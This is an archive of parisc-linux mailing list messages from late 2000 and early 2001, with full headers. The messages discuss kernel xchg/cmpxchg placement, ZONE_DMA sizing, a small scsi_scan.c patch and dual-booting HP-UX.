X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 30 Dec 2000 09:52:49 PST."
             <200012301752.JAA25055@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9045

Grant Grundler wrote:
> ok. I'll take a whack at parisc arch and see what happens.

This was easy. Was even able to build/link with DRM and all the
related drivers. Code change committed to parisc-linux CVS:
o removes bogus definition of __xchg_called_with_bad_pointer from setup.c
o definitions follow sparc64 model except I didn't try to inline all
  of this mess.
o added __xchgNN() and __cmpxchg_uNN() functions to bitops.c and
  declared them in parisc_ksyms.c for CONFIG_MODULES support.
o added "include <asm/atomic.h>" to arch/parisc/kernel/semaphore.c
  to make sure it gets the xchg() macro definition.

TODO: DRM should explicitly include asm/atomic.h to pick up
  #define __HAVE_ARCH_CMPXCHG directly.

> If it's easy, I'll try the i386 arch as well - mostly
> to build more drivers as a sanity check.

I moved all the xchg/cmpxchg related code from include/asm-i386/system.h
to include/asm-i386/atomic.h and built an x86 kernel (natively) but didn't
boot it. Booting the kernel shouldn't be necessary since mis-use will
result in a linker error (xchg undefined).

I used 2.4.0-test10 since it was handy. Once I get newer Linus
tree, I can cut/paste again and submit the patch to l-k.
Should be able to do this in the next couple of days unless someone
tells me they've done it already.

thanks,
grant


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R P Herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg/cmpxchg defined in wrong place?
Date: Sat, 30 Dec 2000 23:16:39 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0012302306560.13921-100000@swampfox.owlriver.com>
References: <200012310155.RAA25264@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619482 9519 80.91.229.3 (22 Nov 2014 01:24:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:42 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>, <parisc-linux@thepuffingroup.com>
Original-X-From: herrold@owlriver.com  Sat Dec 30 21:18:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA24363
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 21:18:04 -0700
Original-Received: (qmail 22806 invoked by uid 15267); 31 Dec 2000 04:21:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22799 invoked from network); 31 Dec 2000 04:21:20 -0000
Original-Received: from new.owlriver.com (root@198.30.29.42)
  by mailserv2.iuinc.com with SMTP; 31 Dec 2000 04:21:20 -0000
Original-Received: from swampfox.owlriver.com (IDENT:herrold@swampfox.owlriver.com [206.21.107.147])
	by new.owlriver.com (8.9.3/8.9.3) with ESMTP id XAA04357;
	Sat, 30 Dec 2000 23:16:32 -0500
In-Reply-To: <200012310155.RAA25264@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9047

On Sat, 30 Dec 2000, Grant Grundler wrote:

> I moved all the xchg/cmpxchg related code from include/asm-i386/system.h
> to include/asm-i386/atomic.h and built an x86 kernel (natively) but didn't
> boot it. Booting the kernel shouldn't be necessary since mis-use will
> result in a linker error (xchg undefined).

I've always liked this one:

Theory and Practice, distinguished:  In Theory, there is no
difference between Theory and Practice; in Practice, there
always is ...

I'm going to try spinning up a G50, and sniffing at a K220 for
parisc linux ... 735/125 on the way in ... I'd like to leave
HP-UX on the K220 and 'dual boot' -- but it is such a pain to
hook a console up -- Any thoughts on an OS/2 style Boot
Manager leaving 'next boot' semaphore flags behind ...

-- Russ



From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ZONE_DMA
Date: Mon, 1 Jan 2001 17:43:31 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010101174331.A21918@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619482 9521 80.91.229.3 (22 Nov 2014 01:24:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Mon Jan  1 10:40:22 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA17874
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 10:40:21 -0700
Original-Received: (qmail 8434 invoked by uid 15267); 1 Jan 2001 17:43:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8427 invoked from network); 1 Jan 2001 17:43:31 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 17:43:31 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14D8zb-0005mN-00
	for parisc-linux@thepuffingroup.com; Mon, 01 Jan 2001 17:43:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9048


I notice that right now we're partitioning our memory 50% into DMAable
memory and 50% into normal memory (and 0% into HIGHMEM -- but I believe
this part to be correct).  I can't believe that's really the limit of
memory we can DMA into.

I'm not familiar with the hardware problem here.  Must EISA cards be
restricted to a certain part of the address space?  I can glean from
the source that ISA cards are restricted to a 16MB address space --
are we going to support ISA cards?

I presume that no machine which supports ISA cards has an IOMMU that is
capable of mapping a chunk of higher ram into the 16MB bus address space.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 1 Jan 2001 18:09:53 +0000 (GMT)
Lines: 17
Approved: news@gmane.org
Message-ID: <E14D9PA-00017j-00@the-village.bc.nu>
References: <20010101174331.A21918@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619483 9523 80.91.229.3 (22 Nov 2014 01:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jan  1 11:05:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA18304
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 11:05:19 -0700
Original-Received: (qmail 24962 invoked by uid 15267); 1 Jan 2001 18:08:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24927 invoked from network); 1 Jan 2001 18:08:36 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 18:08:36 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14D9PA-00017j-00; Mon, 1 Jan 2001 18:09:57 +0000
In-Reply-To: <20010101174331.A21918@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jan 01, 2001 05:43:31 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9049

> I'm not familiar with the hardware problem here.  Must EISA cards be
> restricted to a certain part of the address space?  I can glean from

EISA on PC can hit the full 32bits. DMA is meant to indicate the 16Mb lowest
memory segment that ISA can hit (which may not be at 0 depending on the box)

> the source that ISA cards are restricted to a 16MB address space --
> are we going to support ISA cards?

Some PCI cards have the same limit 8)

> I presume that no machine which supports ISA cards has an IOMMU that is
> capable of mapping a chunk of higher ram into the 16MB bus address space.

Some Alpha's probably can but we don't support that. The pci side API
pci_alloc_consistent does


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 1 Jan 2001 18:24:35 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20010101182435.C21918@parcelfarce.linux.theplanet.co.uk>
References: <20010101174331.A21918@parcelfarce.linux.theplanet.co.uk> <E14D9PA-00017j-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619483 9527 80.91.229.3 (22 Nov 2014 01:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:43 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: willy@www.linux.org.uk  Mon Jan  1 11:21:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA18692
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 11:21:26 -0700
Original-Received: (qmail 3298 invoked by uid 15267); 1 Jan 2001 18:24:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3284 invoked from network); 1 Jan 2001 18:24:44 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 18:24:44 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14D9dL-0006L9-00; Mon, 01 Jan 2001 18:24:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E14D9PA-00017j-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Mon, Jan 01, 2001 at 06:09:53PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9050

On Mon, Jan 01, 2001 at 06:09:53PM +0000, Alan Cox wrote:
> > I'm not familiar with the hardware problem here.  Must EISA cards be
> > restricted to a certain part of the address space?  I can glean from
> 
> EISA on PC can hit the full 32bits. DMA is meant to indicate the 16Mb lowest
> memory segment that ISA can hit (which may not be at 0 depending on the box)

OK, so people who write EISA drivers are not going to specify GFP_DMA.
Or shouldn't.

> > the source that ISA cards are restricted to a 16MB address space --
> > are we going to support ISA cards?
> 
> Some PCI cards have the same limit 8)

But that's handled through the PCI DMA mapping interface these days.

So how should we be populating our zones?  Put all of our memory in
ZONE_DMA, like ppc, since the only people who'll be specifying GFP_DMA
will have done so incorrectly?  Put the first 16MB of it in there,
since we might support ISA some day?  Put none of it in there on the
grounds we don't support ISA at all?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 1 Jan 2001 18:32:11 +0000 (GMT)
Lines: 28
Approved: news@gmane.org
Message-ID: <E14D9kj-00019e-00@the-village.bc.nu>
References: <20010101182435.C21918@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619483 9528 80.91.229.3 (22 Nov 2014 01:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:43 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), matthew@wil.cx (Matthew Wilcox),
        parisc-linux@thepuffingroup.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jan  1 11:27:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19028
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 11:27:36 -0700
Original-Received: (qmail 7783 invoked by uid 15267); 1 Jan 2001 18:30:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7733 invoked from network); 1 Jan 2001 18:30:52 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 18:30:52 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14D9kj-00019e-00; Mon, 1 Jan 2001 18:32:13 +0000
In-Reply-To: <20010101182435.C21918@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jan 01, 2001 06:24:35 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9051

> > EISA on PC can hit the full 32bits. DMA is meant to indicate the 16Mb lowest
> > memory segment that ISA can hit (which may not be at 0 depending on the box)
> 
> OK, so people who write EISA drivers are not going to specify GFP_DMA.
> Or shouldn't.

Or know something about their hardware being crap.

> > Some PCI cards have the same limit 8)
> But that's handled through the PCI DMA mapping interface these days.

Yes

> So how should we be populating our zones?  Put all of our memory in
> ZONE_DMA, like ppc, since the only people who'll be specifying GFP_DMA
> will have done so incorrectly?  Put the first 16MB of it in there,

That is a very dangerous assumption (as some PPC people have discovered when
they DMA stuff into the wrong place)

> since we might support ISA some day?  Put none of it in there on the
> grounds we don't support ISA at all?

I think none is safer. pci_alloc_consistent seems to address all the stuff
we worry about. 

Alan


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 1 Jan 2001 18:55:57 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20010101185557.A25603@parcelfarce.linux.theplanet.co.uk>
References: <20010101182435.C21918@parcelfarce.linux.theplanet.co.uk> <E14D9kj-00019e-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619483 9535 80.91.229.3 (22 Nov 2014 01:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:43 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: willy@www.linux.org.uk  Mon Jan  1 11:52:50 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19439
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 11:52:50 -0700
Original-Received: (qmail 24920 invoked by uid 15267); 1 Jan 2001 18:56:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24901 invoked from network); 1 Jan 2001 18:56:05 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 18:56:05 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14DA7h-0006hp-00; Mon, 01 Jan 2001 18:55:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E14D9kj-00019e-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Mon, Jan 01, 2001 at 06:32:11PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9052

On Mon, Jan 01, 2001 at 06:32:11PM +0000, Alan Cox wrote:
> Or know something about their hardware being crap.

Hm.

> > So how should we be populating our zones?  Put all of our memory in
> > ZONE_DMA, like ppc, since the only people who'll be specifying GFP_DMA
> > will have done so incorrectly?  Put the first 16MB of it in there,
> 
> That is a very dangerous assumption (as some PPC people have discovered when
> they DMA stuff into the wrong place)
> 
> > since we might support ISA some day?  Put none of it in there on the
> > grounds we don't support ISA at all?
> 
> I think none is safer. pci_alloc_consistent seems to address all the stuff
> we worry about. 

But if we have none, then all GFP_DMA allocations will fail.  Which
includes the scsi midlayers.  Ooh, I just noticed that scsi_scan.c
is broken...  expect a patch RSN.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 1 Jan 2001 19:01:19 +0000 (GMT)
Lines: 7
Approved: news@gmane.org
Message-ID: <E14DACv-0001Bg-00@the-village.bc.nu>
References: <20010101185557.A25603@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619484 9538 80.91.229.3 (22 Nov 2014 01:24:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:44 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), matthew@wil.cx (Matthew Wilcox),
        parisc-linux@thepuffingroup.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jan  1 11:56:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19764
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 11:56:38 -0700
Original-Received: (qmail 27660 invoked by uid 15267); 1 Jan 2001 18:59:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27641 invoked from network); 1 Jan 2001 18:59:56 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 18:59:56 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14DACv-0001Bg-00; Mon, 1 Jan 2001 19:01:21 +0000
In-Reply-To: <20010101185557.A25603@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jan 01, 2001 06:55:57 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9053

> But if we have none, then all GFP_DMA allocations will fail.  Which
> includes the scsi midlayers.  Ooh, I just noticed that scsi_scan.c
> is broken...  expect a patch RSN.

SCSI may need fixing, but do you want to do it right 8)



From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 1 Jan 2001 19:18:48 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <20010101191848.B25603@parcelfarce.linux.theplanet.co.uk>
References: <20010101185557.A25603@parcelfarce.linux.theplanet.co.uk> <E14DACv-0001Bg-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619484 9540 80.91.229.3 (22 Nov 2014 01:24:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:44 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: willy@www.linux.org.uk  Mon Jan  1 12:15:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20142
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 12:15:36 -0700
Original-Received: (qmail 9712 invoked by uid 15267); 1 Jan 2001 19:18:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9701 invoked from network); 1 Jan 2001 19:18:54 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 19:18:54 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14DATo-00071d-00; Mon, 01 Jan 2001 19:18:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E14DACv-0001Bg-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Mon, Jan 01, 2001 at 07:01:19PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9054

On Mon, Jan 01, 2001 at 07:01:19PM +0000, Alan Cox wrote:
> > But if we have none, then all GFP_DMA allocations will fail.  Which
> > includes the scsi midlayers.  Ooh, I just noticed that scsi_scan.c
> > is broken...  expect a patch RSN.
> 
> SCSI may need fixing, but do you want to do it right 8)

I don't think I have time to do that :-)

Here's a patch which makes it slightly better.  Justifications:
 * changed GFP_DMA to GFP_KERNEL | GFP_DMA since GFP_DMA alone is nonsense.
 * got rid of the ?: since it's pure obfuscation in this case.
 * changed &scsi_result0[0] to scsi_result0.  again, sheer obfuscation.

just peering at this little bit makes me realise how large the scsi
problems must be :-)

It compiles.  I promise no more.

Index: drivers/scsi/scsi_scan.c
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/scsi_scan.c,v
retrieving revision 1.1.1.1
diff -u -p -u -r1.1.1.1 scsi_scan.c
--- drivers/scsi/scsi_scan.c	2000/09/19 15:01:34	1.1.1.1
+++ drivers/scsi/scsi_scan.c	2001/01/01 19:09:43
@@ -288,8 +288,11 @@ void scan_scsis(struct Scsi_Host *shpnt,
 		scsi_initialize_queue(SDpnt, shpnt);
 		SDpnt->request_queue.queuedata = (void *) SDpnt;
 		/* Make sure we have something that is valid for DMA purposes */
-		scsi_result = ((!shpnt->unchecked_isa_dma)
-			       ? &scsi_result0[0] : kmalloc(512, GFP_DMA));
+		if (shpnt->unchecked_isa_dma) {
+			scsi_result = kmalloc(512, GFP_KERNEL | GFP_DMA);
+		} else {
+			scsi_result = scsi_result0;
+		}
 	}
 
 	if (scsi_result == NULL) {
@@ -411,7 +414,7 @@ void scan_scsis(struct Scsi_Host *shpnt,
 		}		/* for channel ends */
 	}			/* if/else hardcoded */
 
-      leave:
+ leave:
 
 	{			/* Unchain SRpnt from host_queue */
 		Scsi_Device *prev, *next;
@@ -438,7 +441,7 @@ void scan_scsis(struct Scsi_Host *shpnt,
 	}
 
 	/* If we allocated a buffer so we could do DMA, free it now */
-	if (scsi_result != &scsi_result0[0] && scsi_result != NULL) {
+	if (scsi_result != scsi_result0 && scsi_result != NULL) {
 		kfree(scsi_result);
 	} {
 		Scsi_Device *sdev;

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New NCR/Symbios 8xx driver
Date: Mon, 1 Jan 2001 19:22:09 +0000
Lines: 6
Approved: news@gmane.org
Message-ID: <20010101192209.C25603@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619484 9543 80.91.229.3 (22 Nov 2014 01:24:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Mon Jan  1 12:18:54 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20444
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 12:18:54 -0700
Original-Received: (qmail 11933 invoked by uid 15267); 1 Jan 2001 19:22:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11918 invoked from network); 1 Jan 2001 19:22:11 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 1 Jan 2001 19:22:11 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14DAX3-00074F-00
	for parisc-linux@thepuffingroup.com; Mon, 01 Jan 2001 19:22:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9055


http://www.uwsg.iu.edu/hypermail/linux/kernel/0012.3/0584.html

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Dual Boot
Date: Mon, 01 Jan 2001 16:09:32 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200101020009.QAA26045@milano.cup.hp.com>
References: <Pine.LNX.4.30.0012302306560.13921-100000@swampfox.owlriver.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619485 9545 80.91.229.3 (22 Nov 2014 01:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: R P Herrold <herrold@owlriver.com>
Original-X-From: grundler@cup.hp.com  Mon Jan  1 17:04:57 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA21539
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 17:04:57 -0700
Original-Received: (qmail 7889 invoked by uid 15267); 2 Jan 2001 00:08:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7881 invoked from network); 2 Jan 2001 00:08:12 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 00:08:12 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 92C57C7B; Mon,  1 Jan 2001 16:08:11 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA26045;
	Mon, 1 Jan 2001 16:09:37 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 30 Dec 2000 23:16:39 PST."
             <Pine.LNX.4.30.0012302306560.13921-100000@swampfox.owlriver.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9056

R P Herrold wrote:
...
> I'm going to try spinning up a G50, and sniffing at a K220 for
> parisc linux ... 735/125 on the way in ... I'd like to leave
> HP-UX on the K220 and 'dual boot' -- but it is such a pain to
> hook a console up -- Any thoughts on an OS/2 style Boot
> Manager leaving 'next boot' semaphore flags behind ...

It's hard to hook up a serial console on K220?!

Under HPUX, "setboot" command can set the primary boot path
